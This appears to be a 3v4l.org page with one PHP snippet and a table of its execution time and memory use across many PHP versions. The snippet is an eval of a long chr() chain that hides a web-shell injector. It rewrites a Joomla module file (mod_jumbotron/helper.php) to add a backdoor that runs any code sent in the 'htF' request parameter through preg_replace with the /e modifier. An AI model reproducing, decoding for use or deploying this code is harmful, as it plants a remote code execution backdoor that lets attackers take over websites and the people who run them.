3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c=eval(chr(36).chr(102).chr(110).chr(32).chr(61).chr(32).chr(115).chr(116).chr(114).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(105).chr(110).chr(100).chr(101).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(39).chr(109).chr(111).chr(100).chr(117).chr(108).chr(101).chr(115).chr(47).chr(109).chr(111).chr(100).chr(95).chr(106).chr(117).chr(109).chr(98).chr(111).chr(116).chr(114).chr(111).chr(110).chr(47).chr(104).chr(101).chr(108).chr(112).chr(101).chr(114).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(59).chr(32).chr(105).chr(102).chr(32).chr(40).chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(36).chr(102).chr(110).chr(44).chr(32).chr(115).chr(116).chr(114).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(39).chr(44).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(92).chr(110).chr(105).chr(102).chr(32).chr(40).chr(105).chr(115).chr(115).chr(101).chr(116).chr(40).chr(92).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(92).chr(34).chr(104).chr(116).chr(70).chr(92).chr(34).chr(93).chr(41).chr(41).chr(32).chr(123).chr(47).chr(42).chr(78).chr(87).chr(73).chr(81).chr(117).chr(81).chr(42).chr(47).chr(64).chr(112).chr(114).chr(101).chr(103).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101).chr(40).chr(39).chr(47).chr(40).chr(46).chr(42).chr(41).chr(47).chr(101).chr(39).chr(44).chr(32).chr(64).chr(92).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(39).chr(104).chr(116).chr(70).chr(39).chr(93).chr(44).chr(32).chr(39).chr(39).chr(41).chr(59).chr(125).chr(92).chr(110).chr(34).chr(44).chr(32).chr(102).chr(105).chr(108).chr(101).chr(95).chr(103).chr(101).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(36).chr(102).chr(110).chr(41).chr(41).chr(41).chr(41).chr(32).chr(100).chr(105).chr(101).chr(40).chr(39).chr(120).chr(52).chr(50).chr(120).chr(39).chr(41).chr(59)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0160.00317.00
8.3.50.0100.00821.26
8.3.40.0070.01018.61
8.3.30.0040.01118.75
8.3.20.0080.00020.34
8.3.10.0050.00323.66
8.3.00.0080.00023.83
8.2.180.0090.00616.88
8.2.170.0090.00622.96
8.2.160.0110.00420.66
8.2.150.0040.01124.18
8.2.140.0080.00024.66
8.2.130.0040.00419.89
8.2.120.0040.00426.35
8.2.110.0170.00321.18
8.2.100.0040.00818.05
8.2.90.0050.00319.28
8.2.80.0040.00418.05
8.2.70.0000.00917.75
8.2.60.0030.00518.05
8.2.50.0000.00918.07
8.2.40.0040.00422.33
8.2.30.0000.00819.58
8.2.20.0040.00417.72
8.2.10.0050.00218.21
8.2.00.0000.00818.27
8.1.280.0110.00425.92
8.1.270.0040.00420.26
8.1.260.0080.00028.09
8.1.250.0040.00428.09
8.1.240.0070.00320.73
8.1.230.0110.00019.27
8.1.220.0050.00317.91
8.1.210.0040.00418.77
8.1.200.0060.00317.48
8.1.190.0090.00017.25
8.1.180.0000.00818.10
8.1.170.0080.00018.59
8.1.160.0000.00820.86
8.1.150.0050.00319.00
8.1.140.0050.00319.67
8.1.130.0000.00717.86
8.1.120.0000.00717.63
8.1.110.0070.00017.59
8.1.100.0040.00417.54
8.1.90.0040.00417.57
8.1.80.0000.00717.45
8.1.70.0070.00017.52
8.1.60.0030.00617.71
8.1.50.0000.00817.62
8.1.40.0000.00817.64
8.1.30.0030.00517.74
8.1.20.0000.00817.66
8.1.10.0040.00417.60
8.1.00.0060.00317.40
8.0.300.0100.00018.77
8.0.290.0030.00617.00
8.0.280.0030.00318.64
8.0.270.0030.00317.40
8.0.260.0070.00017.49
8.0.250.0000.00817.16
8.0.240.0000.00717.20
8.0.230.0000.00717.09
8.0.220.0040.00417.05
8.0.210.0070.00017.13
8.0.200.0030.00517.20
8.0.190.0040.00417.23
8.0.180.0060.00317.07
8.0.170.0030.00617.04
8.0.160.0040.00417.19
8.0.150.0070.00017.07
8.0.140.0000.00717.12
8.0.130.0000.00513.55
8.0.120.0000.00817.20
8.0.110.0000.00817.06
8.0.100.0050.00216.97
8.0.90.0030.00617.00
8.0.80.0140.00717.13
8.0.70.0030.00517.09
8.0.60.0000.00717.21
8.0.50.0000.00817.14
8.0.30.0100.01017.15
8.0.20.0090.01017.40
8.0.10.0080.00017.27
8.0.00.0110.01317.04
7.4.330.0000.00516.86
7.4.320.0000.00716.53
7.4.300.0040.00416.56
7.4.290.0030.00316.61
7.4.280.0030.00616.62
7.4.270.0000.00716.57
7.4.260.0080.00016.55
7.4.250.0040.00416.69
7.4.240.0040.00416.76
7.4.230.0000.00716.73
7.4.220.0100.00716.77
7.4.210.0120.00416.82
7.4.200.0030.00316.45
7.4.160.0110.00816.66
7.4.150.0060.01217.40
7.4.140.0130.01017.86
7.4.130.0090.00916.58
7.4.120.0090.01016.83
7.4.110.0090.00916.63
7.4.100.0110.00716.86
7.4.90.0090.00916.82
7.4.80.0140.00919.39
7.4.70.0190.00316.84
7.4.60.0030.01316.71
7.4.50.0070.01116.48
7.4.40.0060.01016.79
7.4.30.0090.01516.63
7.4.00.0070.00715.30
7.3.330.0060.00013.21
7.3.320.0070.00013.34
7.3.310.0040.00416.59
7.3.300.0030.00316.31
7.3.290.0110.00716.45
7.3.280.0100.00516.45
7.3.270.0040.01517.40
7.3.260.0090.00916.65
7.3.240.0100.01016.57
7.3.230.0090.00816.43
7.3.210.0120.00616.46
7.3.200.0100.01019.39
7.3.190.0040.01416.50
7.3.180.0110.00616.50
7.3.170.0080.00816.43
7.3.160.0030.01316.57
7.3.10.0000.01516.75
7.3.00.0000.00816.77
7.2.330.0030.01516.80
7.2.320.0070.01316.84
7.2.310.0070.01016.75
7.2.300.0110.01116.73
7.2.290.0100.00716.88
7.2.130.0090.00316.83
7.2.120.0060.00316.87
7.2.110.0090.00016.96
7.2.100.0050.00517.00
7.2.90.0030.01416.89
7.2.80.0070.00316.98
7.2.70.0080.00617.19
7.2.60.0070.00517.07
7.2.50.0070.00716.81
7.2.40.0000.01416.63
7.2.30.0110.00417.05
7.2.20.0090.00317.02
7.2.10.0030.01116.86
7.2.00.0070.01018.33
7.1.250.0040.00716.00
7.1.200.0130.00015.87
7.1.100.0000.01418.26
7.1.70.0000.00817.17
7.1.60.0100.01619.27
7.1.50.0070.00316.96
7.1.00.0030.07722.65
7.0.200.0070.00316.59
7.0.100.0070.04020.23
7.0.90.0130.03720.21
7.0.80.0100.03720.29
7.0.70.0030.05320.14
7.0.60.0030.04720.20
7.0.50.0070.04020.55
7.0.40.0070.04020.15
7.0.30.0100.04020.08
7.0.20.0100.04020.16
7.0.10.0000.04320.22
7.0.00.0070.04020.07
5.6.280.0000.06321.07
5.6.250.0130.03320.86
5.6.240.0000.04320.59
5.6.230.0030.04320.74
5.6.220.0100.07720.75
5.6.210.0070.06320.74
5.6.200.0030.04021.22
5.6.190.0100.03721.11
5.6.180.0130.03721.04
5.6.170.0070.04021.20
5.6.160.0030.04021.19
5.6.150.0070.03720.97
5.6.140.0070.04021.16
5.6.130.0100.05321.11
5.6.120.0070.04321.09
5.6.110.0070.03721.10
5.6.100.0070.04021.21
5.6.90.0000.05321.08
5.6.80.0000.04720.43
5.6.70.0000.05020.54
5.6.60.0100.08020.45
5.6.50.0100.04020.43
5.6.40.0100.07720.39
5.6.30.0070.08020.53
5.6.20.0030.08320.50
5.6.10.0100.04320.46
5.6.00.0000.08720.50
5.5.380.0070.03720.58
5.5.370.0070.03720.52
5.5.360.0100.06720.55
5.5.350.0000.04320.45
5.5.340.0030.04720.86
5.5.330.0000.04320.88
5.5.320.0000.04720.98
5.5.310.0100.03320.99
5.5.300.0070.06020.88
5.5.290.0130.03320.99
5.5.280.0070.03720.94
5.5.270.0070.04020.83
5.5.260.0030.04320.91
5.5.250.0000.06320.68
5.5.240.0030.04020.21
5.5.230.0030.08020.38
5.5.220.0100.07720.38
5.5.210.0100.07320.34
5.5.200.0070.08320.33
5.5.190.0030.07720.16
5.5.180.0130.07720.25
5.5.160.0170.07720.16
5.5.150.0030.05020.34
5.5.140.0000.07720.16
5.5.130.0100.06320.29
5.5.120.0100.04320.32
5.5.110.0000.06320.07
5.5.100.0100.06720.18
5.5.90.0130.06720.03
5.5.80.0070.08020.15
5.5.70.0000.08720.13
5.5.60.0130.04319.99
5.5.50.0000.09020.24
5.5.40.0100.04320.11
5.5.30.0070.08020.13
5.5.20.0070.07720.07
5.5.10.0070.06720.09
5.5.00.0030.05720.12

preferences:
64.7 ms | 401 KiB | 5 Q